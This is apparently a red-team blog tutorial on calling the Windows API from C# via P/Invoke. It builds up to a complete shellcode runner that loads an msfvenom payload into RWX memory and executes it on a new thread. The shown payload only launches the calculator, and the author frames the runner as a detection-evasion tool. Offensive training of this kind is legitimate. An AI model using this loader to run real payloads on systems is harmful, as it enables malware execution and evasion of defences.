Introduction
This post considers that you already have some understanding of C#. The NSA has released guidance encouraging organizations to shift programming languages from the likes of C and C++ to memory-safe alternatives – such as C#, Go, Java, Ruby, Rust, and Swift.
C and C++ are commonly used languages that provide freedom and flexibility in memory management while relying heavily on programmers to perform the needed checks on memory references. Simple mistakes can lead to exploitable memory-based vulnerabilities. Static software analysis tools can detect many instances of memory management issues and operating environment options can also provide some protection, but inherent protections offered by memory safe software languages can prevent or mitigate most memory management issues.
How a software program manages memory is core to preventing many vulnerabilities and ensuring a program is robust. Exploiting poor or careless memory management can allow a malicious cyber actor to perform nefarious acts, such as crashing the program at will or changing the instructions of the executing program to do whatever the actor desires.
Using a memory safe language can help prevent programmers from introducing certain types of memory-related issues. Memory is managed automatically as part of the computer language; it does not rely on the programmer adding code to implement memory protections. The language institutes automatic protections using a combination of compile time and runtime checks. These inherent language features protect the programmer from introducing memory management mistakes unintentionally.
C# is an examples of memory safe languages and can be a very useful language to start building your initial red team toolkit. It has many features, such as executing an assembly in memory. Here is a simple code to load a C# assembly (exe or dll) in memory using Assembly.Load():
using System;
using System.IO;
using System.Reflection;
namespace AssemblyLoader
{
class Program
{
static void Main(string[] args)
{
Byte[] fileBytes = File.ReadAllBytes("C:\\Tools\\JustACommandWithArgs.exe");
string[] fileArgs = { "arg1", "arg2", "argX" };
ExecuteAssembly(fileBytes, fileArgs);
}
public static void ExecuteAssembly(Byte[] assemblyBytes, string[] param)
{
// Load the assembly
Assembly assembly = Assembly.Load(assemblyBytes);
// Find the Entrypoint or "Main" method
MethodInfo method = assembly.EntryPoint;
// Get the parameters
object[] parameters = new[] { param };
// Invoke the method with its parameters
object execute = method.Invoke(null, parameters);
}
}
}
The Windows API, aka WinAPI, is Microsoft’s core set of application programming interfaces available in the Windows operating system. The name WinAPI collectively refers to several different platform implementations that are often referred to by their own names. The term PInvoke is derived from the phrase “Platform Invoke”. PInvoke signatures are native method signatures, also known as Declare statements in VB.
This blog post will cover the basics of using managed code so we can run Windows API calls. But we should first know what managed and unmanaged code means.
Managed vs Unmanaged Code
C# is a Object Oriented language that is based on the .NET Framework maintained by Microsoft. There are two general terms which you will hear:
- Unmanaged Code.
- Managed Code.
Managed code is the code which is managed by the CLR(Common Language Runtime) in .NET Framework. Whereas the Unmanaged code is the code which is directly executed by the operating system. Below are some important differences between the Managed code and Unmanaged code:
Managed Code |
Unmanaged Code |
---|---|
It is executed by managed runtime environment or managed by the CLR. | It is executed directly by the operating system. |
It provides security to the application written in .NET Framework. | It does not provide any security to the application. |
Memory buffer overflow does not occur. | Memory buffer overflow may occur. |
It provide runtime services like Garbage Collection, exception handling, etc. | It does not provide runtime services like Garbage Collection, exception handling, etc. |
The source code is compiled in the intermediate language known as IL or MSIL or CIL. | The source code directly compiles into native languages. |
It does not provide low-level access to the programmer. | It provide low-level access to the programmer. |
The programmer is in charge of everything in unmanaged code, from memory management, garbage collection, and exception handling to security considerations like protections from buffer overflow attacks. This is a heavy burden in tech debt for any programmer. Unmanaged code compiles directly into native language that the OS can run directly and also provides low-level access to the programmer.
Managed code is the code managed by a CLR (Common Language Runtime) in the .NET Framework. The CLR takes the code and compiles into intermediate language known as IL. The IL is then compiled by runtime and executed. This provides automatic memory management, security protections, garbage collection, exception handling, etc.
When using C#, sometimes we need to access the power of unmanaged code from our managed code. We can create a bridge between managed and unmanaged code thanks to the functionality of interoperability that the CLR provides. Interoperability enables you to preserve and take advantage of existing investments in unmanaged code. This interoperability is made possible with the use of P/Invoke!
P/Invoke
Platform Invoke, or otherwise known as P/Invoke, is what helps us use unsafe or unmanaged code from unmanaged libraries into our managed code. According to Microsoft, P/Invoke is a technology that allows you to access structs, callbacks, and functions in unmanaged libraries from your managed code. Most of the P/Invoke API is contained in two namespaces: System
and System.Runtime.InteropServices
. Using these two namespaces give you the tools to describe how you want to communicate with the native component.
Using WinAPI to call a MessageBox
Let’s dive into an example. We can take a unmanaged API call like MessageBox
and see what sytax it uses.
We can see some things don’t make sense here. We don’t have HWND
or LPCTSTR
in C# that we can use. For this, we can convert the data types to their equivalent in C#. A data type conversion chart is found here. This post by Matt Hand at SpecterOps is also pretty great at explaining the same things. The following chart mentioned in the blog details the data type conversion:
Taking the conversion into account, we can then create this:
int MessageBox(
IntPtr hWnd,
string lpText,
string lpCaption,
uint uType
);
Now we need to use the DllImport
to import the DLL, which has the unmanaged code for us to use. We can find what DLL we have to use from the Microsoft Docs about the MessageBox
function. We are using User32.dll
for this demonstration. We can import this DLL by using the following command:
[Dllimport("user32.dll")]
public static extern MessageBox(IntPtr hWnd, string lpText, string lpCaption, uint uType);
In the second line of the above code, we mention the extern
datatype or external code that we want to use (MessageBox
) with the properties that we declated earlier. Here is the C# file we have created thus far:
using System;
using System.Runtime.InteropServices;
namespace demo
{
class Program
{
// Here we import our DLL that holds our `MessageBox` Function.
[DllImport("user32.dll")]
public static extern int MessageBox(IntPtr hWnd, string lpText, string lpCaption, uint uType);
static void Main(string[] args)
{
// Now we can call it using our required parameters.
MessageBox(IntPtr.Zero, "Hey there!", "Hello from P/Invoke!", 0);
}
}
}
We will compile and run the code:
Voila! WinAPI accomplished!
Creating a Shellcode Runner
Now that we know how to call WinAPI let’s create a simple shellcode loader. A shellcode runner is a dynamic tool that takes advantage of the evasive properties of both shellcode and process injection to offer Red Teams a way to avoid detection.
As before, we will need to know the imports we are making. For our simple shellcode runner, we need 3 APIs. VirtualAlloc to allocate memory, CreateThread to create a thread, and WaitForSingleObject to wait for the thread to exit. We can import them as:
[DllImport("kernel32.dll")]
public static extern IntPtr VirtualAlloc(IntPtr lpAddress, int dwSize, UInt32 flAllocationType, UInt32 flProtect);
[DllImport("kernel32.dll")]
private static extern IntPtr CreateThread(UInt32 lpThreadAttributes, UInt32 dwStackSize, UInt32 lpStartAddress, IntPtr param, UInt32 dwCreationFlags, ref UInt32 lpThreadId);
[DllImport("kernel32.dll")]
private static extern UInt32 WaitForSingleObject(IntPtr hHandle, UInt32 dwMilliseconds);
The syntax is from Microsoft Docs and then was converted using the Data Conversion photo from Matt Hand.
First, we must create some enums before going into the Main method and working in the shellcode. These enums will hold our data that will remain constant. In the first import VirtualAlloc
we see two things, flAllocationType
and flProtect
. According to the Microsoft Docs of this function, the first is the memory allocation type, and the other is the memory protection for the region of pages to be allocated. We need the memory allocation type to be MEM_COMMIT
to commit the memory space and the protection to be PAGE_EXECUTE_READWRITE
so we can put our shellcode in and execute it. We can create enums for these two, MEM_COMMIT
and PAGE_EXECUTE_READWRITE
, with the following code:
public enum TYPE
{
MEM_COMMIT = 0x00001000
}
public enum PROTECTION
{
PAGE_EXECUTE_READWRITE = 0x40
}
We can begin working on the Main method. We can start by initializing a C# byte array of our payload. The following example uses a simple msfvenom
generated payload that opens the calculator.
// msfvenom -p windows/exec CMD=calc.exe -f csharp
byte[] buf = new byte[193] {
0xfc,0xe8,0x82,0x00,0x00,0x00,0x60,0x89,0xe5,0x31,0xc0,0x64,0x8b,0x50,0x30,
0x8b,0x52,0x0c,0x8b,0x52,0x14,0x8b,0x72,0x28,0x0f,0xb7,0x4a,0x26,0x31,0xff,
0xac,0x3c,0x61,0x7c,0x02,0x2c,0x20,0xc1,0xcf,0x0d,0x01,0xc7,0xe2,0xf2,0x52,
0x57,0x8b,0x52,0x10,0x8b,0x4a,0x3c,0x8b,0x4c,0x11,0x78,0xe3,0x48,0x01,0xd1,
0x51,0x8b,0x59,0x20,0x01,0xd3,0x8b,0x49,0x18,0xe3,0x3a,0x49,0x8b,0x34,0x8b,
0x01,0xd6,0x31,0xff,0xac,0xc1,0xcf,0x0d,0x01,0xc7,0x38,0xe0,0x75,0xf6,0x03,
0x7d,0xf8,0x3b,0x7d,0x24,0x75,0xe4,0x58,0x8b,0x58,0x24,0x01,0xd3,0x66,0x8b,
0x0c,0x4b,0x8b,0x58,0x1c,0x01,0xd3,0x8b,0x04,0x8b,0x01,0xd0,0x89,0x44,0x24,
0x24,0x5b,0x5b,0x61,0x59,0x5a,0x51,0xff,0xe0,0x5f,0x5f,0x5a,0x8b,0x12,0xeb,
0x8d,0x5d,0x6a,0x01,0x8d,0x85,0xb2,0x00,0x00,0x00,0x50,0x68,0x31,0x8b,0x6f,
0x87,0xff,0xd5,0xbb,0xf0,0xb5,0xa2,0x56,0x68,0xa6,0x95,0xbd,0x9d,0xff,0xd5,
0x3c,0x06,0x7c,0x0a,0x80,0xfb,0xe0,0x75,0x05,0xbb,0x47,0x13,0x72,0x6f,0x6a,
0x00,0x53,0xff,0xd5,0x63,0x61,0x6c,0x63,0x2e,0x65,0x78,0x65,0x00 };
We can now use our APIs to execute it. First, we use VirtualAlloc
to allocate some memory for our shellcode. The address will be zero because we are just starting it; the size needs to be equal to the size of the shellcode, the allocation needs to be MEM_COMMIT
, and the protection should be PAGE_EXECUTE_READWRITE
. The following code defines this example:
int shellcode_size = buf.Length;
IntPtr init = VirtualAlloc(IntPtr.Zero, shellcode_size, (UInt32)TYPE.MEM_COMMIT, (UInt32)PROTECTION.PAGE_EXECUTE_READWRITE);
Now that the memory space is allocated, we can use Marshal.Copy
to put our shellcode in place. It takes four arguments, the byte array of our shellcode, the starting index, the destination, and the size.
Marshal.Copy(buf, 0, init, shellcode_size);
Next step is to execute the shellcode. We do that by using CreateThread
. We need to initialize the parameters passed in the arguments. This is demonstrated in the following code:
IntPtr hThread = IntPtr.Zero;
UInt32 threadId = 0;
IntPtr pinfo = IntPtr.Zero;
hThread = CreateThread(0, 0, (UInt32)init, pinfo, 0, ref threadId);
Lastly, we will use WaitForSingleObject
to make our thread wait an infinite number of times.
WaitForSingleObject(hThread, 0xFFFFFFFF);
The following code is the end result:
using System;
using System.Runtime.InteropServices;
namespace demo
{
class Program
{
[DllImport("kernel32.dll")]
public static extern IntPtr VirtualAlloc(IntPtr lpAddress, int dwSize, UInt32 flAllocationType, UInt32 flProtect);
[DllImport("kernel32.dll")]
private static extern IntPtr CreateThread(UInt32 lpThreadAttributes, UInt32 dwStackSize, UInt32 lpStartAddress, IntPtr param, UInt32 dwCreationFlags, ref UInt32 lpThreadId);
[DllImport("kernel32.dll")]
private static extern UInt32 WaitForSingleObject(IntPtr hHandle, UInt32 dwMilliseconds);
static void Main(string[] args)
{
byte[] buf = new byte[193] {
0xfc,0xe8,0x82,0x00,0x00,0x00,0x60,0x89,0xe5,0x31,0xc0,0x64,0x8b,0x50,0x30,
0x8b,0x52,0x0c,0x8b,0x52,0x14,0x8b,0x72,0x28,0x0f,0xb7,0x4a,0x26,0x31,0xff,
0xac,0x3c,0x61,0x7c,0x02,0x2c,0x20,0xc1,0xcf,0x0d,0x01,0xc7,0xe2,0xf2,0x52,
0x57,0x8b,0x52,0x10,0x8b,0x4a,0x3c,0x8b,0x4c,0x11,0x78,0xe3,0x48,0x01,0xd1,
0x51,0x8b,0x59,0x20,0x01,0xd3,0x8b,0x49,0x18,0xe3,0x3a,0x49,0x8b,0x34,0x8b,
0x01,0xd6,0x31,0xff,0xac,0xc1,0xcf,0x0d,0x01,0xc7,0x38,0xe0,0x75,0xf6,0x03,
0x7d,0xf8,0x3b,0x7d,0x24,0x75,0xe4,0x58,0x8b,0x58,0x24,0x01,0xd3,0x66,0x8b,
0x0c,0x4b,0x8b,0x58,0x1c,0x01,0xd3,0x8b,0x04,0x8b,0x01,0xd0,0x89,0x44,0x24,
0x24,0x5b,0x5b,0x61,0x59,0x5a,0x51,0xff,0xe0,0x5f,0x5f,0x5a,0x8b,0x12,0xeb,
0x8d,0x5d,0x6a,0x01,0x8d,0x85,0xb2,0x00,0x00,0x00,0x50,0x68,0x31,0x8b,0x6f,
0x87,0xff,0xd5,0xbb,0xf0,0xb5,0xa2,0x56,0x68,0xa6,0x95,0xbd,0x9d,0xff,0xd5,
0x3c,0x06,0x7c,0x0a,0x80,0xfb,0xe0,0x75,0x05,0xbb,0x47,0x13,0x72,0x6f,0x6a,
0x00,0x53,0xff,0xd5,0x63,0x61,0x6c,0x63,0x2e,0x65,0x78,0x65,0x00 };
int shellcode_size = buf.Length;
IntPtr init = VirtualAlloc(IntPtr.Zero, shellcode_size, (UInt32)TYPE.MEM_COMMIT, (UInt32)PROTECTION.PAGE_EXECUTE_READWRITE);
Marshal.Copy(buf, 0, init, shellcode_size);
IntPtr hThread = IntPtr.Zero;
UInt32 threadId = 0;
IntPtr pinfo = IntPtr.Zero;
hThread = CreateThread(0, 0, (UInt32)init, pinfo, 0, ref threadId);
WaitForSingleObject(hThread, 0xFFFFFFFF);
}
public enum TYPE
{
MEM_COMMIT = 0x00001000
}
public enum PROTECTION
{
PAGE_EXECUTE_READWRITE = 0x40
}
}
}
Compile and run the code to see our shellcode executing and opening the calculator!
Conclusion
This post was a small introduction to the Windows API through C# and how we can use both to create custom Red Team tools. The example will get detected or blocked by almost all anti-virus software. In a future post, we will develop methods to enhance this example and make something that would help us bypass specific types of defenses.
References
Thanks to all of these which I heavily referenced from.
- CLR Execution Model
- Managed VS. Unmanaged Code
- Managed Code – Microsoft
- Operational Challenges in Offensive C#
- Working with WIN32 API in .NET
- P/Invoke
- Offensive P/Invoke: Leveraging the Win32 API from Managed Code
- Red Team Tactics: Utilizing Syscalls in C# – Prerequisite Knowledge
- WinAPI and P/Invoke in C#
- NSA Releases Guidance on How to Protect Against Software Memory Safety Issues